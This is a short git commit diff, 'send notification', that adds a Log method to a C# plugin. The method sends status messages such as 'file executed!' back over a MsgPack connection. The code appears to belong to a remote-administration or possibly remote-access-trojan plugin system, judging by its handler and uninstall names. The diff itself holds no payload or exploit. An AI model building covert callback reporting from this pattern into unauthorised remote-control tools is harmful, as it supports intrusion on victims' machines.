send notification

This commit is contained in:
NYAN CAT 2019-12-01 06:42:21 +03:00
parent bc19607aa5
commit c24ea61af7
2 changed files with 12 additions and 0 deletions

View File

@ -40,6 +40,10 @@ namespace Plugin.Handler
{
new HandleUninstall();
}
else
{
Packet.Log("file executed!");
}
}
catch (Exception ex)
{

View File

@ -55,6 +55,14 @@ namespace Plugin
msgpack.ForcePathObject("Error").AsString = ex;
Connection.Send(msgpack.Encode2Bytes());
}
public static void Log(string message)
{
MsgPack msgpack = new MsgPack();
msgpack.ForcePathObject("Packet").AsString = "Logs";
msgpack.ForcePathObject("Message").AsString = message;
Connection.Send(msgpack.Encode2Bytes());
}
}
}